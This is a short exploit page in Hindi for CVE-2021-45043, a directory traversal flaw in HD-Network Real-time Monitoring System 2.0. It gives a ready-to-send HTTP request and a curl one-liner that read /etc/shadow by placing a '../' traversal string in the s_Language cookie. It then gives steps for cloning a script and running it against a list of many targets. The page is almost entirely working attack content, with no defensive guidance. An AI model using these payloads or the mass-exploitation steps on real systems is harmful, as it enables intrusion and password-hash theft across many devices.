cve-2021-45043

HD-Network रियल-टाइम मॉनिटरिंग सिस्टम 2.0 /language/lang s_Language पैरामीटर के माध्यम से ../ डायरेक्टरी ट्रैवर्सल के जरिए /etc/shadow पढ़ने की अनुमति देता है।

प्रारंभिक पोस्ट

https://cyberguy0xd1.medium.com/my-cve-2021-45043-lfi-write-up-441dad30dd7f

burp के माध्यम से दोहन

GET /language/lang HTTP/1.1 Host: IP.target Cookie: s_Language=../../../../../../../../../../../../../../etc/shadow

एक लाइनर के माध्यम से दोहन

curl -k -s -H "Cookie: s_Language=../../../../../../../../../../../../../../etc/shadow" -X GET http://IP.target/language/lang

बड़ी संख्या में लक्ष्यों का दोहन

git clone https://github.com/g30rgyth3d4rk/cve-2021-45043.git

cd cve-2021-45043/

chmod +x script.sh

./script.sh targets.txt